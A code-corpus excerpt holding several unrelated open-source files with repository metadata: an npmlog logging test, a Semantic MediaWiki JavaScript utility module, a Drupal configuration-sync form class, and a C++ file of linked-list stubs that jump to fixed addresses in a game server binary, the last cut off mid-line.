'\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u001b[31m\u001b[40mERR!\u001b[0m \u001b[0m\u001b[35m404\u001b[0m \n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u0007noise\u001b[0m\u001b[35m\u001b[0m LOUD NOISES\n', '\u001b[0m\u001b[37m\u001b[40mnpm\u001b[0m \u001b[0m\u0007noise\u001b[0m \u001b[0m\u001b[35merror\u001b[0m erroring\n', '\u001b[0m' ] var logPrefixEventsExpect = [ { id: 2, level: 'info', prefix: 'info prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 9, level: 'info', prefix: 'info prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 16, level: 'info', prefix: 'info prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] } ] // should be the same. var logInfoEventsExpect = logPrefixEventsExpect var logEventsExpect = [ { id: 0, level: 'silly', prefix: 'silly prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 1, level: 'verbose', prefix: 'verbose prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 2, level: 'info', prefix: 'info prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 3, level: 'http', prefix: 'http prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 4, level: 'warn', prefix: 'warn prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 5, level: 'error', prefix: 'error prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 6, level: 'silent', prefix: 'silent prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 7, level: 'silly', prefix: 'silly prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 8, level: 'verbose', prefix: 'verbose prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 9, level: 'info', prefix: 'info prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 10, level: 'http', prefix: 'http prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 11, level: 'warn', prefix: 'warn prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 12, level: 'error', prefix: 'error prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 13, level: 'silent', prefix: 'silent prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 14, level: 'silly', prefix: 'silly prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 15, level: 'verbose', prefix: 'verbose prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 16, level: 'info', prefix: 'info prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 17, level: 'http', prefix: 'http prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 18, level: 'warn', prefix: 'warn prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 19, level: 'error', prefix: 'error prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 20, level: 'silent', prefix: 'silent prefix', message: 'x = {"foo":{"bar":"baz"}}', messageRaw: [ 'x = %j', { foo: { bar: 'baz' } } ] }, { id: 21, level: 'error', prefix: '404', message: 'This is a longer\nmessage, with some details\nand maybe a stack.\n', messageRaw: [ 'This is a longer\nmessage, with some details\nand maybe a stack.\n' ] }, { id: 22, level: 'noise', prefix: false, message: 'LOUD NOISES', messageRaw: [ 'LOUD NOISES' ] }, { id: 23, level: 'noise', prefix: 'error', message: 'erroring', messageRaw: [ 'erroring' ] } ] var Stream = require('stream').Stream var s = new Stream() s.write = function (m) { result.push(m) } s.writable = true s.isTTY = true s.end = function () {} log.stream = s log.heading = 'npm' tap.test('basic', function (t) { log.on('log', logEvents.push.bind(logEvents)) log.on('log.info', logInfoEvents.push.bind(logInfoEvents)) log.on('info prefix', logPrefixEvents.push.bind(logPrefixEvents)) console.error('log.level=silly') log.level = 'silly' log.silly('silly prefix', 'x = %j', {foo:{bar:'baz'}}) log.verbose('verbose prefix', 'x = %j', {foo:{bar:'baz'}}) log.info('info prefix', 'x = %j', {foo:{bar:'baz'}}) log.http('http prefix', 'x = %j', {foo:{bar:'baz'}}) log.warn('warn prefix', 'x = %j', {foo:{bar:'baz'}}) log.error('error prefix', 'x = %j', {foo:{bar:'baz'}}) log.silent('silent prefix', 'x = %j', {foo:{bar:'baz'}}) console.error('log.level=silent') log.level = 'silent' log.silly('silly prefix', 'x = %j', {foo:{bar:'baz'}}) log.verbose('verbose prefix', 'x = %j', {foo:{bar:'baz'}}) log.info('info prefix', 'x = %j', {foo:{bar:'baz'}}) log.http('http prefix', 'x = %j', {foo:{bar:'baz'}}) log.warn('warn prefix', 'x = %j', {foo:{bar:'baz'}}) log.error('error prefix', 'x = %j', {foo:{bar:'baz'}}) log.silent('silent prefix', 'x = %j', {foo:{bar:'baz'}}) console.error('log.level=info') log.level = 'info' log.silly('silly prefix', 'x = %j', {foo:{bar:'baz'}}) log.verbose('verbose prefix', 'x = %j', {foo:{bar:'baz'}}) log.info('info prefix', 'x = %j', {foo:{bar:'baz'}}) log.http('http prefix', 'x = %j', {foo:{bar:'baz'}}) log.warn('warn prefix', 'x = %j', {foo:{bar:'baz'}}) log.error('error prefix', 'x = %j', {foo:{bar:'baz'}}) log.silent('silent prefix', 'x = %j', {foo:{bar:'baz'}}) log.error('404', 'This is a longer\n'+ 'message, with some details\n'+ 'and maybe a stack.\n') log.addLevel('noise', 10000, {beep: true}) log.noise(false, 'LOUD NOISES') log.noise('error', 'erroring') t.deepEqual(result.join('').trim(), resultExpect.join('').trim(), 'result') t.deepEqual(log.record, logEventsExpect, 'record') t.deepEqual(logEvents, logEventsExpect, 'logEvents') t.deepEqual(logInfoEvents, logInfoEventsExpect, 'logInfoEvents') t.deepEqual(logPrefixEvents, logPrefixEventsExpect, 'logPrefixEvents') t.end() })
mikemcdaid/getonupband
sites/all/themes/getonupband/node_modules/fsevents/node_modules/npmlog/test/basic.js
JavaScript
gpl-2.0
9,518
/*! * This file is part of the Semantic Result Formats Extension * @see https://www.semantic-mediawiki.org/wiki/SRF * * @section LICENSE * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file * * @since 1.8 * @ingroup SRF * * @licence GNU GPL v2+ * @author mwjames */ ( function( $, mw, srf ) { 'use strict'; ////////////////////////// PRIVATE METHODS ////////////////////////// var html = mw.html; var _cacheTime = 1000 * 60 * 60 * 24; // 24 hours var _CL_mwspinner = 'mw-small-spinner'; var _CL_srfIspinner = 'srf-spinner-img'; var _CL_srfspinner = 'srf-spinner'; ////////////////////////// PUBLIC METHODS ///////////////////////// /** * Module for formats utilities namespace * @since 1.8 * @type Object */ srf.util = srf.util || {}; /** * Constructor * @var Object */ srf.util = function( settings ) { $.extend( this, settings ); }; srf.util.prototype = { /** * Get image url * @since 1.8 * @param options * @param callback * @return string */ getImageURL: function( options, callback ) { var title = options.title, cacheTime = options.cachetime; // Get cache time cacheTime = cacheTime === undefined ? _cacheTime : cacheTime; // Get url from cache otherwise do an ajax call var url = $.jStorage.get( title ); if ( url !== null ) { if ( typeof callback === 'function' ) { // make sure the callback is a function callback.call( this, url ); // brings the scope to the callback } return; } // Get url via ajax $.getJSON( mw.config.get( 'wgScriptPath' ) + '/api.php', { 'action': 'query', 'format': 'json', 'prop' : 'imageinfo', 'iiprop': 'url', 'titles': title }, function( data ) { if ( data.query && data.query.pages ) { var pages = data.query.pages; for ( var p in pages ) { if ( pages.hasOwnProperty( p ) ) { var info = pages[p].imageinfo; for ( var i in info ) { if ( info.hasOwnProperty( i ) ) { $.jStorage.set( title , info[i].url, { TTL: cacheTime } ); if ( typeof callback === 'function' ) { // make sure the callback is a function callback.call( this, info[i].url ); // brings the scope to the callback } return; } } } } } if ( typeof callback === 'function' ) { // make sure the callback is a function callback.call( this, false ); // brings the scope to the callback } } ); }, /** * Get title url * @since 1.8 * @param options * @param callback * @return string */ getTitleURL: function( options, callback ) { var title = options.title, cacheTime = options.cachetime; // Get cache time cacheTime = cacheTime === undefined ? _cacheTime : cacheTime; // Get url from cache otherwise do an ajax call var url = $.jStorage.get( title ); if ( url !== null ) { if ( typeof callback === 'function' ) { // make sure the callback is a function callback.call( this, url ); // brings the scope to the callback } return; } // Get url via ajax $.getJSON( mw.config.get( 'wgScriptPath' ) + '/api.php', { 'action': 'query', 'format': 'json', 'prop' : 'info', 'inprop': 'url', 'titles': title }, function( data ) { if ( data.query && data.query.pages ) { var pages = data.query.pages; for ( var p in pages ) { if ( pages.hasOwnProperty( p ) ) { var info = pages[p]; $.jStorage.set( title, info.fullurl, { TTL: cacheTime } ); if ( typeof callback === 'function' ) { // make sure the callback is a function callback.call( this, info.fullurl ); // brings the scope to the callback } return; } } } if ( typeof callback === 'function' ) { // make sure the callback is a function callback.call( this, false ); // brings the scope to the callback } } ); }, /** * Get spinner for a local element * @since 1.8 * @param options * @return object */ spinner: { create: function( options ) { // Select the object from its context and determine height and width var obj = options.context.find( options.selector ), h = mw.html, width = obj.width(), height = obj.height(); // Add spinner to target object obj.after( h.element( 'span', { 'class' : _CL_srfIspinner + ' ' + _CL_mwspinner }, null ) ); // Adopt height and width to avoid clutter options.context.find( '.' + _CL_srfIspinner + '.' + _CL_mwspinner ) .css( { width: width, height: height } ) .data ( 'spinner', obj ); // Attach the original object as data element obj.remove(); // Could just hide the element instead of removing it }, replace: function ( options ){ // Replace spinner and restore original instance options.context.find( '.' + _CL_srfIspinner + '.' + _CL_mwspinner ) .replaceWith( options.context.find( '.' + _CL_srfIspinner ).data( 'spinner' ) ) ; }, hide: function ( options ){ var c = options.length === undefined ? options.context : options; c.find( '.' + _CL_srfspinner ).hide(); } }, /** * Convenience method to check if some options are supported * * @since 1.9 * * @param {string} option * * @return boolean */ assert: function( option ) { switch ( option ){ case 'canvas': // Checks if the current browser supports canvas // @see http://goo.gl/9PYP3 return !!window.HTMLCanvasElement; case 'svg': // Checks if the current browser supports svg return !!window.SVGSVGElement; default: return false; } }, /** * Convenience method for growl-like notifications using the blockUI plugin * * @since 1.9 * @var options * @return object */ notification: { create: function( options ) { return $.blockUI( { message: html.element( 'span', { 'class' : 'srf-notification-content' }, new html.Raw( options.content ) ), fadeIn: 700, fadeOut: 700, timeout: 2000, showOverlay: false, centerY: false, css: { 'width': '235px', 'line-height': '1.35', 'z-index': '10000', 'top': '10px', 'left': '', 'right': '15px', 'padding': '0.25em 1em', 'margin-bottom': '0.5em', 'border': '0px solid #fff', 'background-color': options.color || '#000', 'opacity': '.6', 'cursor': 'pointer', '-webkit-border-radius': '5px', '-moz-border-radius': '5px', 'border-radius': '5px', '-webkit-box-shadow': '0 2px 10px 0 rgba(0,0,0,0.125)', '-moz-box-shadow': '0 2px 10px 0 rgba(0,0,0,0.125)', 'box-shadow': '0 2px 10px 0 rgba(0,0,0,0.125)' } } ); } }, /** * Convenience method for ui-widget like error/info messages * * @since 1.9 * @var options * @return object */ message:{ set: function( options ){ var type = options.type === 'error' ? 'ui-state-error' : 'ui-state-highlight'; options.context.prepend( html.element( 'div', { 'class': 'ui-widget' }, new html.Raw( html.element( 'div', { 'class': type + ' ui-corner-all','style': 'padding-left: 0.5em' }, new html.Raw( html.element( 'p', { }, new html.Raw( html.element( 'span', { 'class': 'ui-icon ui-icon-alert', 'style': 'float: left; margin-right: 0.7em;' }, '' ) + options.message ) ) ) ) ) ) ); }, exception: function( options ){ this.set( $.extend( {}, { type: 'error' }, options ) ); throw new Error( options.message ); }, remove:function( context ){ context.children().fadeOut( 'slow' ).remove(); } }, /** * * * */ image: { /** * Returns image information including thumbnail * * @since 1.9 * * @param options * @param callback * * @return object */ imageInfo: function( options, callback ){ var isCached = true; // Get cache otherwise do an Ajax call if ( options.cache ) { var imageInfo = $.jStorage.get( options.title + '-' + options.width ); if ( imageInfo !== null ) { if ( typeof callback === 'function' ) { callback.call( this, isCached, imageInfo ); } return; } } $.getJSON( mw.config.get( 'wgScriptPath' ) + '/api.php', { 'action': 'query', 'format': 'json', 'prop' : 'imageinfo', 'iiprop': 'url', 'iiurlwidth': options.width, 'iiurlheight': options.height, 'titles': options.title }, function( data ) { if ( data.query && data.query.pages ) { var pages = data.query.pages; for ( var p in pages ) { if ( pages.hasOwnProperty( p ) ) { var info = pages[p]; if ( options.cache !== undefined ) { $.jStorage.set( options.title + '-' + options.width , info, { TTL: options.cache } ); } if ( typeof callback === 'function' ) { callback.call( this, !isCached, info ); } return; } } } if ( typeof callback === 'function' ) { callback.call( this, !isCached, false ); } } ); } } }; } )( jQuery, mediaWiki, semanticFormats );
CoderDojo/CoderDojo-Kata
extensions/SemanticResultFormats/resources/ext.srf.util.js
JavaScript
gpl-2.0
9,948
<?php /** * @file * Contains \Drupal\config\Form\ConfigSync. */ namespace Drupal\config\Form; use Drupal\Core\Config\ConfigManagerInterface; use Drupal\Core\Form\FormBase; use Drupal\Core\Config\StorageInterface; use Drupal\Core\Lock\LockBackendInterface; use Drupal\Core\Config\BatchConfigImporter; use Drupal\Core\Config\StorageComparer; use Drupal\Core\Config\TypedConfigManager; use Drupal\Core\Routing\UrlGeneratorInterface; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\DependencyInjection\ContainerInterface; /** * Construct the storage changes in a configuration synchronization form. */ class ConfigSync extends FormBase { /** * The database lock object. * * @var \Drupal\Core\Lock\LockBackendInterface */ protected $lock; /** * The source configuration object. * * @var \Drupal\Core\Config\StorageInterface */ protected $sourceStorage; /** * The target configuration object. * * @var \Drupal\Core\Config\StorageInterface */ protected $targetStorage; /** * Event dispatcher. * * @var \Symfony\Component\EventDispatcher\EventDispatcherInterface */ protected $eventDispatcher; /** * The configuration manager. * * @var \Drupal\Core\Config\ConfigManagerInterface; */ protected $configManager; /** * URL generator service. * * @var \Drupal\Core\Routing\UrlGeneratorInterface */ protected $urlGenerator; /** * The typed config manager. * * @var \Drupal\Core\Config\TypedConfigManager */ protected $typedConfigManager; /** * Constructs the object. * * @param \Drupal\Core\Config\StorageInterface $sourceStorage * The source storage object. * @param \Drupal\Core\Config\StorageInterface $targetStorage * The target storage manager. * @param \Drupal\Core\Lock\LockBackendInterface $lock * The lock object. * @param \Symfony\Component\EventDispatcher\EventDispatcherInterface $event_dispatcher * Event dispatcher. * @param \Drupal\Core\Config\ConfigManagerInterface $config_manager * Configuration manager. * @param \Drupal\Core\Routing\UrlGeneratorInterface $url_generator * The url generator service. * @param \Drupal\Core\Config\TypedConfigManager $typed_config * The typed configuration manager. */ public function __construct(StorageInterface $sourceStorage, StorageInterface $targetStorage, LockBackendInterface $lock, EventDispatcherInterface $event_dispatcher, ConfigManagerInterface $config_manager, UrlGeneratorInterface $url_generator, TypedConfigManager $typed_config) { $this->sourceStorage = $sourceStorage; $this->targetStorage = $targetStorage; $this->lock = $lock; $this->eventDispatcher = $event_dispatcher; $this->configManager = $config_manager; $this->urlGenerator = $url_generator; $this->typedConfigManager = $typed_config; } /** * {@inheritdoc} */ public static function create(ContainerInterface $container) { return new static( $container->get('config.storage.staging'), $container->get('config.storage'), $container->get('lock'), $container->get('event_dispatcher'), $container->get('config.manager'), $container->get('url_generator'), $container->get('config.typed') ); } /** * {@inheritdoc} */ public function getFormId() { return 'config_admin_import_form'; } /** * {@inheritdoc} */ public function buildForm(array $form, array &$form_state) { $form['actions'] = array('#type' => 'actions'); $form['actions']['submit'] = array( '#type' => 'submit', '#value' => $this->t('Import all'), ); $source_list = $this->sourceStorage->listAll(); $storage_comparer = new StorageComparer($this->sourceStorage, $this->targetStorage); if (empty($source_list) || !$storage_comparer->createChangelist()->hasChanges()) { $form['no_changes'] = array( '#theme' => 'table', '#header' => array('Name', 'Operations'), '#rows' => array(), '#empty' => $this->t('There are no configuration changes.'), ); $form['actions']['#access'] = FALSE; return $form; } elseif (!$storage_comparer->validateSiteUuid()) { drupal_set_message($this->t('The staged configuration cannot be imported, because it originates from a different site than this site. You can only synchronize configuration between cloned instances of this site.'), 'error'); $form['actions']['#access'] = FALSE; return $form; } else { // Store the comparer for use in the submit. $form_state['storage_comparer'] = $storage_comparer; } // Add the AJAX library to the form for dialog support. $form['#attached']['library'][] = array('core', 'drupal.ajax'); foreach ($storage_comparer->getChangelist() as $config_change_type => $config_files) { if (empty($config_files)) { continue; } // @todo A table caption would be more appropriate, but does not have the // visual importance of a heading. $form[$config_change_type]['heading'] = array( '#type' => 'html_tag', '#tag' => 'h3', ); switch ($config_change_type) { case 'create': $form[$config_change_type]['heading']['#value'] = format_plural(count($config_files), '@count new', '@count new'); break; case 'update': $form[$config_change_type]['heading']['#value'] = format_plural(count($config_files), '@count changed', '@count changed'); break; case 'delete': $form[$config_change_type]['heading']['#value'] = format_plural(count($config_files), '@count removed', '@count removed'); break; } $form[$config_change_type]['list'] = array( '#theme' => 'table', '#header' => array('Name', 'Operations'), ); foreach ($config_files as $config_file) { $links['view_diff'] = array( 'title' => $this->t('View differences'), 'href' => $this->urlGenerator->getPathFromRoute('config.diff', array('config_file' => $config_file)), 'attributes' => array( 'class' => array('use-ajax'), 'data-accepts' => 'application/vnd.drupal-modal', 'data-dialog-options' => json_encode(array( 'width' => 700 )), ), ); $form[$config_change_type]['list']['#rows'][] = array( 'name' => $config_file, 'operations' => array( 'data' => array( '#type' => 'operations', '#links' => $links, ), ), ); } } return $form; } /** * {@inheritdoc} */ public function submitForm(array &$form, array &$form_state) { $config_importer = new BatchConfigImporter( $form_state['storage_comparer'], $this->eventDispatcher, $this->configManager, $this->lock, $this->typedConfigManager ); if ($config_importer->alreadyImporting()) { drupal_set_message($this->t('Another request may be synchronizing configuration already.')); } else{ $config_importer->initialize(); $batch = array( 'operations' => array( array(array(get_class($this), 'processBatch'), array($config_importer)), ), 'finished' => array(get_class($this), 'finishBatch'), 'title' => t('Synchronizing configuration'), 'init_message' => t('Starting configuration synchronization.'), 'progress_message' => t('Synchronized @current configuration files out of @total.'), 'error_message' => t('Configuration synchronization has encountered an error.'), 'file' => drupal_get_path('module', 'config') . '/config.admin.inc', ); batch_set($batch); } } /** * Processes the config import batch and persists the importer. * * @param BatchConfigImporter $config_importer * The batch config importer object to persist. * @param $context * The batch context. */ public static function processBatch(BatchConfigImporter $config_importer, &$context) { if (!isset($context['sandbox']['config_importer'])) { $context['sandbox']['config_importer'] = $config_importer; } $config_importer = $context['sandbox']['config_importer']; $config_importer->processBatch($context); } /** * Finish batch. * * This function is a static function to avoid serialising the ConfigSync * object unnecessarily. */ public static function finishBatch($success, $results, $operations) { if ($success) { drupal_set_message(\Drupal::translation()->translate('The configuration was imported successfully.')); } else { // An error occurred. // $operations contains the operations that remained unprocessed. $error_operation = reset($operations); $message = \Drupal::translation()->translate('An error occurred while processing %error_operation with arguments: @arguments', array('%error_operation' => $error_operation[0], '@arguments' => print_r($error_operation[1], TRUE))); drupal_set_message($message, 'error'); } drupal_flush_all_caches(); } }
allgood2386/lexrants-me
core/modules/config/lib/Drupal/config/Form/ConfigSync.php
PHP
gpl-2.0
9,269
#include "CExoLinkedList.h" template <> int CExoLinkedList<CServerAIEventNode>::AddAfter(CServerAIEventNode *, CExoLinkedListNode *) { asm("leave"); asm("mov $0x080987f0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::AddBefore(CServerAIEventNode *, CExoLinkedListNode *) { asm("leave"); asm("mov $0x080987a4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::AddHead(CServerAIEventNode *) { asm("leave"); asm("mov $0x08098818, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::AddTail(CServerAIEventNode *) { asm("leave"); asm("mov $0x080987cc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::Count() { asm("leave"); asm("mov $0x08098844, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x08098790, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::GetHeadPos() { asm("leave"); asm("mov $0x08098784, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::GetHead() { asm("leave"); asm("mov $0x0809882c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x080987b8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::GetPrev(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x08098804, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::GetTailPos() { asm("leave"); asm("mov $0x080987e0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::IsEmpty() { asm("leave"); asm("mov $0x0809875c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CServerAIEventNode>::RemoveHead() { asm("leave"); asm("mov $0x08098770, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::AddBefore(CNWSObjectActionNode *, CExoLinkedListNode *) { asm("leave"); asm("mov $0x081d65c4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::AddHead(CNWSObjectActionNode *) { asm("leave"); asm("mov $0x081c86d4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::AddTail(CNWSObjectActionNode *) { asm("leave"); asm("mov $0x081d65b0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::Count() { asm("leave"); asm("mov $0x081c86e8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x0813f078, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::GetHeadPos() { asm("leave"); asm("mov $0x081139c8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::GetHead() { asm("leave"); asm("mov $0x081139b0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x081139d4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::IsEmpty() { asm("leave"); asm("mov $0x0805f20c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::RemoveHead() { asm("leave"); asm("mov $0x0805f220, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSObjectActionNode>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x0813f08c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::AddBefore(CNWSCombatRoundAction *, CExoLinkedListNode *) { asm("leave"); asm("mov $0x080e57dc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::AddTail(CNWSCombatRoundAction *) { asm("leave"); asm("mov $0x080e57f0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x080e57c8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::GetHeadPos() { asm("leave"); asm("mov $0x080e577c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::GetHead() { asm("leave"); asm("mov $0x080e5788, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x080e57a0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::GetPrev(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x0813f144, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::GetTailPos() { asm("leave"); asm("mov $0x0813f134, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::IsEmpty() { asm("leave"); asm("mov $0x080e5718, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::RemoveHead() { asm("leave"); asm("mov $0x080e572c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSCombatRoundAction>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x080e57b4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::AddHead(CNWSClient *) { asm("leave"); asm("mov $0x080b1648, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::Count() { asm("leave"); asm("mov $0x080b1638, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x0805f380, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::GetHeadPos() { asm("leave"); asm("mov $0x0805f374, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::GetHead() { asm("leave"); asm("mov $0x08082ed8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x0805f394, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::IsEmpty() { asm("leave"); asm("mov $0x080b1490, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::RemoveHead() { asm("leave"); asm("mov $0x080b14a4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSClient>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x080b165c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoKeyTable>::AddHead(CExoKeyTable *) { asm("leave"); asm("mov $0x082b4190, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoKeyTable>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b4130, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoKeyTable>::GetHeadPos() { asm("leave"); asm("mov $0x082b4124, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoKeyTable>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082b4144, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoKeyTable>::GetPrev(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082b417c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoKeyTable>::GetTailPos() { asm("leave"); asm("mov $0x082b4158, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoKeyTable>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b4168, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileKey>::AddHead(CLinuxFileKey *) { asm("leave"); asm("mov $0x082d32a0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileKey>::AddTail(CLinuxFileKey *) { asm("leave"); asm("mov $0x082d321c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileKey>::GetHeadPos() { asm("leave"); asm("mov $0x082d3280, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileKey>::GetHead() { asm("leave"); asm("mov $0x082d3268, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileKey>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082d328c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileKey>::IsEmpty() { asm("leave"); asm("mov $0x082d32c8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileKey>::RemoveHead() { asm("leave"); asm("mov $0x082d32dc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileKey>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov 